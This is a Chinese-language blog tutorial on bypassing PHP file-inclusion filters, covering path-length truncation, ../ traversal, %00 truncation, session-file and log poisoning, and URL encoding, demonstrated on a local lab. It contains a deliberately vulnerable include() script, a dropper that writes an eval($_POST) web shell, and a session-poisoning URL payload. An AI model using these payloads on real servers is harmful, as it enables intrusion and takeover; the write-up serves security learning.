任意文件包含漏洞(2)

叁歲伎倆 2022-11-29 12:47 287阅读 0赞

目录

    • windows系统
      • 1.路径长度绕过
        • 简介
        1. ../绕过
      • 2.5 ./
        1. %00截断
        • 简介
        • 使用条件
        • 操作
      • 4.session 文件
        • 使用条件
        • 操作
      • 5.错误日志
      • 编码绕过
    • linux系统
      • 路径长度绕过
      • 错误日志

windows系统

1.路径长度绕过

wj.php

  1. <?php
  2. $a=@$_GET['123'];
  3. include($a.'.html');
  4. ?>

如果限制了文件类型,比如这里只能包含html后缀的文件,那么就可以使用此方法

简介

操作系统存在最大路径长度的限制。windows系统,文件名最长256个字符,可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名被中途截断

在文件后面加.
如:
info.php...........................................................................................................................................................................................................................................................................................html

.超过256个就行,后面多出来的...........................................html不会被识别到

在这里插入图片描述
info.php

  1. <?php
  2. phpinfo();
  3. ?>

2. …/绕过

有时候会限制文件包含的路径,比如当前路径
./当前目录
../上级目录
/根目录

  1. <?php
  2. $a=@$_GET['123'];
  3. include('./'.$a.'.php');
  4. ?>

如果说路径长度绕过是为了干掉$a后面的'php',那么../就是为了干掉$a前面的'./'

在这里插入图片描述

2.5 ./

./ 之所以放在2.5的位置
是因为他放的位置不同,作用也不同
info.php./././././././……././././././html
则和1 . 的作用一样,绕过后缀

如果是./info.php
则后2../的作用一样,绕过路径(尽管./表示当前路径,默认就是表示包含当前路径的文件,所以加不加都无所谓)

3. %00截断

简介

%00被认为是结束符,后面的数据会被直接忽略,导致扩展名截断。
攻击者可以利用这个漏洞绕过扩展名过滤

和00截断有同样效果的还有:?#(#必须写成%23)

使用条件

(1) magic_quotes_gpc=off
(2) PHP<5.3.4

详见此文
https://blog.csdn.net/weixin_45663905/article/details/107559653

操作

scshell.php

  1. <?php fputs(fopen('data.php','w'),'<?php eval($_POST[123])?>');?>

在这里插入图片描述
生成了data.php文件
在这里插入图片描述接下来使用蚁剑连接,就不多说了

4.session 文件

使用条件

session文件的内容可控的,而且session文件的保存目录已知,或者保存在默认目录,管理员没有改

可以通过phpinfo()来查找session的路径
在这里插入图片描述

操作

sess.php

  1. <?php
  2. session_start();
  3. $ctfs=$_GET['se'];
  4. $_SESSION["username"]=$ctfs;
  5. ?>

1.在url里面上输入想加入session的内容

  1. http://127.0.0.1/cy/sess.php?se=<?php fputs(fopen('data2.php','w'),'<?php eval($_POST[123])?>');?>

使用F12,点存储,按cookie,看session
在这里插入图片描述
这里4d14ba13dfd1e23c0476a8a887ca5602就是此session的文件名
但是默认有个sess前缀,即应该为sess_4d14ba13dfd1e23c0476a8a887ca5602

查看该session文件

  1. http://127.0.0.1/cy/wj.php?123=../../tmp/tmp/sess_4d14ba13dfd1e23c0476a8a887ca5602%00

发现没什么显示
在这里插入图片描述

此时上帝视角,进入tmp目录,发现了sess文件已经写进脚本
啥?你说为啥能访问www目录之外的tmp文件。
php是一门语言,它能访问的不仅仅只是web程序,利用文件里的函数,web程序之外的文件自然也能访问

在这里插入图片描述
而且在sess.php同目录下,已经生成了一个data2.php文件,
在这里插入图片描述
通过蚁剑连接data2.php文件

在这里插入图片描述

5.错误日志

见https://blog.csdn.net/weixin_45663905/article/details/108148898

编码绕过

这不算一种独立的绕过方式,
如果在使用上面的方法里,看到过滤了/ ,.,可以使用url编码绕过

  1. / %2f
  2. . %2e

但是在进行编码的时候,发现.编码后还是.,而%2e解码后却成了.,不知道是啥原因
嗯学完这个知识点就去看url编码
在这里插入图片描述

在这里插入图片描述

linux系统

路径长度绕过

linux系统,文件名最长4096个字符(浏览器最多只能输入300多个字符,所以需要抓包)
前面加././././…………xx.php

错误日志

ssh连接失败,会保存到日志

……

发表评论

表情:
评论列表 (有 0 条评论,287人围观)

还没有评论,来说两句吧...

相关阅读

    相关 任意文件下载漏洞学习

       任意文件下载漏洞,正常的利用手段是下载服务器文件,如脚本代码,服务器配置或者是系统配置等等。但是有的时候我们可能根本不知道网站所处的环境,以及网站的路径,这时候我